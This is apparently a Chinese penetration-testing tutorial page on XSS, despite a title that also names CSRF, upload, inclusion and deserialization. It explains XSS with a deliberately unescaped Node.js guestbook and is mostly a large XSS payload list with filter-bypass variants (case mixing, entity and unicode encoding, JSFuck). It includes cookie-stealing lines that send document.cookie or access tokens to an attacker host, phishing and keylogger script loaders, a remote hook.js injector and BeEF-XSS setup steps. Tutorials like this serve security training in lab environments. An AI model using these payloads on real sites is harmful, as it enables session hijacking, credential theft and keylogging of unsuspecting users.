资讯详情

渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

1、渗透测试 实用 浏览器插件

chrome、edge 插件:搜索 cookie,安装 cookie editor,可以打开插件 导出 cookie

对于 Chrome 有两种方法可以下载插件:

  • 方法 1:应用商店搜索插件,安装
  • 方法 2:使用 edge 下载插件,找到插件目录,然后导入 Chrome

常见 web 攻击

常见的web攻击与预防:https://cloud.tencent.com/developer/article/1592289

十种常见的web攻击:https://zhuanlan.zhihu.com/p/140932186

XSS CSRF SQL 注入 上传文件中的漏洞 命令行注入 DDoS 攻击

  • SYN Flood 攻击、
  • ACK Flood 攻击、
  • UDP Flood 攻击、
  • ICMP Flood 攻击、
  • CC 攻击、
  • DNS Flood、
  • HTTP 慢速连接攻击
  • 等等

流量劫持 --- DNS 劫持 流量劫持 --- HTTP 劫持 服务器漏洞 --- 越权操作漏洞 服务器漏洞 --- 漏洞遍历目录 服务器漏洞 --- 物理路径泄露 服务器漏洞 --- 源代码暴露漏洞

kali 内网穿透 横向渗透 网络服务:web、ftp、mysql、rdp、等 web 漏洞多,成功获得权限的概率更高 owasp top 10 网络服务: 1. 爆破 (administrator、linux、root) 密码 2. 漏洞利用 ( exp、msf ) 3. 欺骗 ( DNS欺骗 ) 4. 钓鱼

2、XSS : Cross Site Script

相关知识

http 协议 客户端的 cookie 服务端的 session JavaScript 操作 cookie 将脚本注入网页 xss 获得 cookie 发送邮件 xss 靶场练习 xss 平台搭建 xss 检测和利用 xss 防御方法 xss 闯关游戏

OWASP TOP 10(二)XSS漏洞(概述,PoC、绕过分类、结构、变形,XSS-Filter、xsser、xsstrike):https://blog.csdn.net/weixin_45677119/article/details/111164997

https://www.bilibili.com/video/BV1jL4y1j7i6?p=7

(英语:Cross-site scripting,一般简称:XSS)是网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户在网页上注入代码,其他用户在观看网页时会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。 XSS 攻击通常是指利用网页开发中留下的漏洞将恶意指令代码注入网页,使用户能够加载并执行攻击者恶意制作的网页程序。这些恶意的网页程序通常是 JavaScript,但也可以包括 Java,VBScript,ActiveX,Flash 甚至是普通的 HTML。攻击成功后,攻击者可能会获得更高的权限(如执行某些操作)、私人网页内容、会话和 cookie 等等各种内容。

简而言之,目前的网页基本上是由 html css javascript 一般用户输入文本信息,而黑客输入的内容可能是 javascript 当用户访问页面时,代码就会执行,此时就会达到攻击的目的。

一句话总结:

注意:

一个 XSS 攻击的示意:

上图先使用 Chrome 浏览器进行正常和非正常留言,Chrome 浏览器自动检测出 XSS 攻击,屏蔽了请求。然后打开 IE8,执行同样的操作,IE8 成功受到了攻击。

以上 GIF 所展示的,是一个用户将文本框的信息提交 form 表单到后台,后台反馈到前台进行留言展示的场景。表单提交代码如下:

<form role="form" method="post">
    <div class="form-group">
        <label>输入内容</label><br />
        <textarea id="text" name="text"></textarea>
        </label>
    </div>
    <button id="btn" type="submit" class="btn btn-default">提交</button>
</form>
 
<label>展示内容</label>
<div id="show" class="col-md-4">
    {
    
       {text  | safe}}
        <!--这里是nunjucks模板的展示写法,由后台赋值text变量-->
</div>
 
<script>
    $("#btn").click(function() {
        $.ajax({
            type: "POST",
            url: "/index",
            cache: false,
            data: {"text": $("#text").text()},
            success: function(msg) {
            }
        });
    })
</script>

前台表单提交到后台服务器,可以直接使用 form 表单提交,也可以使用 ajax 提交的方式。后台代码可以选择任意语言实现( java、php 或者 nodejs 等均可 ),这里使用的 nodejs 代码,thinkjs3 的框架,后台代码如下:

//index.js
const Base = require('./base.js');
 
module.exports = class extends Base {
    indexAction() {
        if(this.isGet) {
                        //如果是Get请求,直接显示前台页面
            return this.display();
        } else if(this.isPost) {
                        //如果是Post请求,赋值nunjucks模板中的text变量,再进行页面展示
            let post = this.post();
            this.assign("text", post.text);
            return this.display();
        }
    }
};

这里只是一个比较轻微的弹出警告框的攻击,但如果攻击代码是:

<script type=text/javascript>window.location = "http://黑客IP:8360/getcookie?cookie="+document.cookie</script>

则会将用户的 cookie 信息发送到黑客那里,而用户的 cookie 信息中很可能含有用户名和密码等重要信息,后果不堪设想。

XSS 基本分类

1. 存储型 xss

2. 反射型 xss

3. Dom 型 xss

4. Self 型 xss

  • 存储型 XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

  • 反射型 XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

XSS 靶场 ( DVWA、pikachu、在线靶场 )

​DVWA 靶场安装和设置:https://www.bilibili.com/video/BV1jL4y1j7i6?p=9 pikachu 靶场安装和设置 ( https://www.bilibili.com/video/BV1jL4y1j7i6?p=10 ),把 ip 地址改成自己服务器的 ip  

​在线 靶场 ( 网上有很多在线靶场 ):https://xss.angelo.org.cn/level1.php?name=test xss 靶场大通关:https://www.cnblogs.com/cute-puli/p/10834954.html

XSS payload

关键字:xss payload

XSS payload:https://www.jianshu.com/p/0cb3d4354c85

XSS payload 大全:https://www.cnblogs.com/xiaozi/p/7268506.html

cookie 攻击 payload  <script>document.location="http://192.168.0.6/pikachu_master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>

钓鱼 攻击 payload <script src="http://192.168.0.6/pikachu_master/pkxss/xfish/xfish.php"></script>

记录键盘 攻击 payload <script src="http://192.168.0.6/pikachu_master/pkxss/rkeypress/rk.js"></script>

<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

常用

  • <script>alert(/xss/)</script>
  • <svg onload=alert(document.domain)>
  • <img src=document.domain onerror=alert(document.domain)>
  • <img src="javascript:alert('XSS')">
  • <img src="" onerror=alert("XSS")>  // 如果 script 标签被屏蔽,可以使用其他标签
  • <M onmouseover=alert(document.domain)>M
  • <marquee onscroll=alert(document.domain)>
  • <a href=javascript:alert(document.domain)>M</a>
  • <body onload=alert(document.domain)>
  • <details open ontoggle=alert(document.domain)>
  • <embed src=javascript:alert(document.domain)>

把前面的标签进行闭合 ( 只要尖括号闭合,里面的内容对错不用管 ),然后跟上 JavaScript 代码

<script>alert("XSS")</script> <script>alert(document.cookie)</script> ><script>alert(document.cookie)</script> ='><script>alert(document.cookie)</script> "><script>alert(document.cookie)</script>

"><a href="javascript:alert:alert(/xss/)">click</a>

URL 编码 ( 是 URL 编码,不是 HTML 编码 )

  • %3Cscript%3Ealert('XSS')%3C/script%3E

在线 URL 编码、HTML 编码:https://www.bt.cn/tools/encryhtml.html

大小写绕过

  • <script>alert(1)</script>
  • <sCrIpT>alert(1)</sCrIpT>
  • <ScRiPt>alert(1)</ScRiPt>
  • <sCrIpT>alert(1)</ScRiPt>
  • <ScRiPt>alert(1)</sCrIpT>
  • <img src=1 onerror=alert(1)>
  • <iMg src=1 oNeRrOr=alert(1)>
  • <ImG src=1 OnErRoR=alert(1)>
  • <img src=1 onerror="alert(&quot;M&quot;)">
  • <marquee onscroll=alert(1)>
  • <mArQuEe OnScRoLl=alert(1)>
  • <MaRqUeE oNsCrOlL=alert(1)>

关键字替换

  • <sc<script>ript>alert("XSS")</script>

各种 alert

  • <script>alert(1)</script>
  • <script>confirm(1)</script>
  • <script>prompt(1)</script>
  • <script>alert('1')</script>
  • <script>alert("1")</script>
  • <script>alert`1`</script>
  • <script>(alert)(1)</script>
  • <script>a=alert,a(1)</script>
  • <script>[1].find(alert)</script>
  • <script>top["al"+"ert"](1)</script>
  • <script>top["a"+"l"+"e"+"r"+"t"](1)</script>
  • <script>top[/al/.source+/ert/.source](1)</script>
  • <script>top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1)</script>

伪协议

  • <a href=javascript:/0/,alert(%22M%22)>M</a>
  • <a href=javascript:/00/,alert(%22M%22)>M</a>
  • <a href=javascript:/000/,alert(%22M%22)>M</a>
  • <a href=javascript:/M/,alert(%22M%22)>M</a>

Chrome XSS auditor bypass

  • ?param=https://&param=@z.exeye.io/import%20rel=import%3E
  • <base href=javascript:/M/><a href=,alert(1)>M</a>
  • <base href=javascript:/M/><iframe src=,alert(1)></iframe>

长度限制

<script>s+="l"</script> \... <script>eval(s)</script></pre>

jquery sourceMappingURL

</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>

图片名

"><img src=x onerror=alert(document.cookie)>.gif

过期的 payload

  • src=javascript:alert 基本不可以用
  • css expression 特性只在旧版本 ie 可用

css

<div style="background-image:url(javascript:alert(/xss/))"> <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE></pre>

markdown

[a](javascript:prompt(document.cookie)) [a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie)) <&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> ![a'"`οnerrοr=prompt(document.cookie)](x) [notmalicious](javascript:window.οnerrοr=alert;throw%20document.cookie) [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=) ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)</pre>

iframe

<iframe οnlοad='     var sc   = document.createElement("scr" + "ipt");     sc.type  = "text/javascr" + "ipt";     sc.src   = "http://1.2.3.4/js/hook.js";     document.body.appendChild(sc);     ' />

  • <iframe src=javascript:alert(1)></iframe>
  • <iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
  • <iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
  • <iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
  • <iframe src=https://baidu.com width=1366 height=768></iframe>
  • <iframe src=javascript:alert(1) width=1366 height=768></iframe

form

  • <form action=javascript:alert(1)><input type=submit>
  • <form><button formaction=javascript:alert(1)>M
  • <form><input formaction=javascript:alert(1) type=submit value=M>
  • <form><input formaction=javascript:alert(1) type=image value=M>
  • <form><input formaction=javascript:alert(1) type=image src=1>

meta

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

其他一些奇怪的标签

<video data-automation="FootageHero_heroVideo_video" loop="" autoplay="" class="u_c_8bdc3"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.webm" type="video/webm"><source src="https://ak.picdn.net/footage/assets/directors_choice/footage-carousel-stock-videos.mp4" type="video/mp4"></video>

#第一类:Javascript URL <a href="javascript:alert('test')">link</a> <a href="javascript:alert('xss')">link</a> <a href='vbscript:MsgBox("XSS")'>link</a> <a href="vbscript:alert(1)">Hello</a> <a href="vbscript:alert(1)">Hello</a> <a href=javascript:alert("XSS")>link</a> <a href=`javascript:alert("RSnake says,'XSS'")`>link</a> <a href=javascript:alert(String.fromCharCode(88,83,83))>link</a> <a href="javascript&colon;alert(1)">link</a> <a href="javaSCRIPT&colon;alert(1)">Hello</a> <a href="javasc&NewLine;ript&colon;alert(1)">link</a>  <a href="javas&Tab;cript:\u0061lert(1);">Hello</a> <a href="jav    ascript:alert('XSS')">link</a> <a href="jav&#x09;ascript:alert('XSS')">link</a> <a href="jav&#x0D;ascript:alert('XSS')">link</a> <a href="  javascript:alert('XSS');">link</a> <a href="javascript:\u0061lert&#x28;1&#x29">Hello</a> <a href="javascript:confirm`1`">link</a> <a href="javascript:confirm(1)">link</a> <a href="j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1)">1</a> <a href="javascript:%61%6c%65%72%74%28%31%29">link</a> <a href="javascript:\u0061\u006C\u0065\u0072\u0074(1)">link</a> <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> <a href=javascript:eval("alert('xss')")>link</a>   <a href=javascript:alert('XSS')>link</a> <a href=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>link</a> <a href=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>link</a> <a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQ==">test</a>  <a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+>1</a> <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> #第二类:CSS import <style>@import url("http://attacker.org/malicious.css");</style> <style>@imp\ort url("http://attacker.org/malicious.css");</style> <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <STYLE>@import'http://jb51.net/xss.css';</STYLE> #第三类:Inline style <div style="color: expression(alert('XSS'))"> <div style=color:expression\(alert(1))></div>  <div style="color: '<'; color: expression(alert('XSS'))"> <div style=X:expression(alert(/xss/))> <div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))"> <div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))"> <div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029"> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> <div style="z:exp/*anything*/res/*here*/sion(alert(1))"> <div style=xss:expr/*XSS*/ession(alert('XSS'))> </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))> </XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.baidu.com")>  <img STYLE="background-image:url(javascript:alert('XSS'))"> //ie6   <img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29">  <A STYLE='no\xss:noxss("*//*");xss:ex&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

#第四类:JavaScript 事件 <div οnclick="alert('xss')"> <div οnmοuseenter="alert('xss')"> <div onclick ="alert('xss')"> <BODY ONLOAD=alert('XSS')> <img src=1 οnerrοr=alert(1)> <img/src='1'/οnerrοr=alert(0)> <img src="1" οnerrοr="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" /> <img src=1 alt=al lang=ert οnerrοr=top[alt+lang](0)> <img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> <img src=1 οnmοuseοver=alert('xss') a1=1111>  <img src=x οnerrοr=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';> <a href="#" οnclick=alert('\170\163\163')>test</a> <a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074(1)">link</a> <a href="#" οnclick="\u0061\u006C\u0065\u0072\u0074`a`">link</a> <a href="#" οnclick="alert('xss')">link</a> <marquee οnscrοll=alert(1)> test</marquee> <div  style="width:100px;height:100px;overflow:scroll" οnscrοll="alert('a')">123456 <br/><br/><br/><br/><br/></div> <DIV onmousewheel="alert('a')" >123456</DIV><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/> <div style="background-color:red" οnmοuseenter="alert('a')">123456</div> <DIV οnmοuseleave="alert('1')">123456</DIV> <div contentEditable="true" style="background-color:red" οnfοcusin="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red" οnfοcusοut="alert('bem')" >asdf</div> <marquee onstart="alert('a')" >asdf</marquee> <div style="background-color:red;" onbeforecopy="alert('a')" >asdf</div> <div style="background-color:red;" onbeforecut="alert('a')" >asdf</div> <div style="background-color:red;" contentEditable="true" onbeforeeditfocus="alert('a')" >asdf</div> <div style="background-color:red;" ="true" onbeforepaste="alert('a')" >asdf</div> <div style="background-color:red;" οncοntextmenu="alert('a')" >asdf</div> <div style="background-color:red;" οncοpy="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" oncut="alert('a')" >asdf</div> <div style="background-color:red;" οndrag="alert('1')" >asdf</div> <div style="background-color:red;" οndragend="alert('a')" >asdf</div> <div style="background-color:red;" οndragenter="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndragleave="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndragοver="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndragstart="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" οndrοp="alert('b')" >asdf</div> <div contentEditable="true" style="background-color:green;" οndrοp="alert('bem')" >asdf</div> <div contentEditable="true" style="background-color:red;" onlosecapture="alert('b')">asdf</div> <div contentEditable="true" style="background-color:red;" οnpaste="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" onselectstart="alert('a')" >asdf</div> <div contentEditable="true" style="background-color:red;" onhelp="alert('a')" >asdf</div> <div STYLE="background-color:red;behavior:url('#default#time2')" onEnd="alert('a')">asdf</div> <div STYLE="background-color:red;behavior:url('#default#time2')" onBegin="alert('a')">asdf</div> <div contentEditable="true" STYLE="background-color:red;" onactivate="alert('b')">asdf</div> <div contentEditable="true" STYLE="background-color:red;filter: Alpha(opacity=100, style=2);"onfilterchange="alert('b')">asdf</div> <div contentEditable="true" onbeforeactivate="alert('b')">asdf</div> <div contentEditable="true" onbeforedeactivate="alert('a')">asdf</div> <div contentEditable="true" ondeactivate="alert('bem')">asdf</div> <video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" /> <video src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)" /> <audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)"> <audio src="http://www.w3schools.com/html5/movie.ogg" οnlοadstart="alert(1)"></audio> <body οnscrοll=alert(26)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> <input type="hidden" accesskey="X" οnclick="alert(/xss/)">

#第五类:Script 标签 <script src="http://baidu.com"></script><script>Function(atob('YWxlcnQoInhzcyIp'))()</script> <script>alert("XSS")</script> <scr<script>ipt>alert("XSS")</scr<script>ipt> <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> <script>alert(/1/.source)</script> <script>alert(1);</script> <script>prompt(1);</script> <script>confirm(1);</script> <script>alert(/88199/)</script> <script>alert(`a`)</script> <script>alert('a')</script> <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <script>eval(alert(1))</script> <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script> <script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script> <script>eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script> <script>setTimeout('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script> <script>setTimeout(alert(1),0)</script> <script>setTimeout`alert\x28\x27 xss \x27\x29`</script> <script>setInterval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')</script>

<script src=data:text/javascript,alert(1)></script> <script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>

<script>\u0061\u006C\u0065\u0072\u0074(123)</script> <script>\u0061\u006C\u0065\u0072\u0074(1)</script> <script>\u0061\u006C\u0065\u0072\u0074`a`</script> <script>window['alert'](0)</script> <script>parent['alert'](1)</script> <script>self['alert'](2)</script> <script>top['alert'](3)</script> <!--[if]><script>alert(1)</script     --> <script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> <script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

一些常用小技巧

在挖掘xss漏洞时,经常会遇到各类过滤手段,比如将<>进行html实体编码,单双引号过滤,空格过滤,关键字过滤等等

1. 编码绕过:     url编码绕过     unicode编码绕过     html实体编码绕过:实体编码绕过需要结合<svg></svg>标签使用,否则利用的失败率比较高

2. 换行绕过     使用%0A进行关键字绕过

3. 利用全局变量绕过     Self,window等等     c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};

4. 关键字绕过     Alert被过滤了可以使用下面的进行弹窗     <script>prompt(“1”);</script>     <script>confirm(1);</script>

1. <script>new Image().src='http://localhost/cookie.php?c='+localStorage.getItem('access_token');</script> 2.<img src=x οnerrοr=alert(1)> 3. Б='',Д=!Б+Б,И=!Д+Б,Ж=Б+{},Щ=Д[Б++],З=Д[Л=Б],Ю=++Л+Б,Ф=Ж[Л+Ю],Д[Ф+=Ж[Б]+(Д.И+Ж)[Б]+И[Ю]+Щ+З+Д[Л]+Ф+Щ+Ж[Б]+З][Ф](И[Б]+И[Л]+Д[Ю]+З+Щ+"(Б)")();

5. 一些奇形怪状的xss的payload ( 使用其他语言编码后的 js ) 6. <script>alert(document.cookie);</script> 7. <svg/οnlοad=alert(1)> 8. <a href=”javascript:alert(1);”>test</a>

万能 xss payload

关键字:万能 xss payload

终极万能XSS Payload:https://blog.csdn.net/qq_39997096/article/details/114646308

漏洞进阶之 --- XSS万能超级无敌全通杀payload:https://blog.csdn.net/LizePing_/article/details/118581289

在进行跨站脚本攻击的时候(xss),通常会需要我们通过插入的代码场景构造 payload。就比较耗费时间,为了更方便的去测试漏洞,万能 XSS payload 就出现了

什么是万能 XSS payload:

这里对它的定义就是可以适应各种场景进行 js 代码执行的 payload,只需要有这一条 payload 即可(例如闭合html 闭合js)

下面我们来看看 payload长什么样子:

可以用这个 "" 试下 在线 xss:https://xss.angelo.org.cn/level1.php?name=XSS

更多功能的 xss 平台

pikachu 的 xss 只有 "cookie、钓鱼、记录键盘" 功能。

可以看到只有3个模块,模块太少,如果需要其他功能,可以搜索其他 xss 后台,

搜索关键字:xss 平台、xss平台

github xss平台:https://github.com/78778443/xssplatform

搭建个人XSS平台:https://blog.csdn.net/weixin_44676102/article/details/122021764

kali 中 xss 平台 --- beef-xss

kali 早期版本中也有一个 " xss 平台 " 叫做 " beff-xss ",新版本需要安装。

1. apt install beef-xss      # 安装 beef 2. cd /usr/share/beef-xss   # 切换到 beef 目录 3. vim config.yaml           # 打开配置文件 4. 按 i 进入插入模式,找到默认 user,password 进行修改,找到 host 修改成本机地址 5. systemctl start beef-xss.service      # 开启 beef   systemctl stop beef-xss.service      # 关闭 beef   systemctl restart beef-xss.service  # 重启 beef 6. 浏览器打开 http://127.0.0.1:3000/ui/panel  然后输入用户名、密码

BeEF-XSS 管理登录页面。用户名默认为 beef,密码在首次启动 beef-xss 时需要手动设置。( 启动 beef-xss 会自动打开浏览器 )

测试 xss

Hocked Browers

  • online browers 在线浏览器
  • offline browers  离线浏览器

Detials

  • 浏览器、插件版本信息,操作系统信息

Logs

  • 浏览器动作:焦点变化,鼠标单击,信息输入

commands

  • 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见
  • 红色模块:表示模块不适用当前用户,有些红色模块也可以执行
  • 橙色模块:模块可用,但结果对用户可见
  • 灰色模块:模块为在目标浏览器上测试过

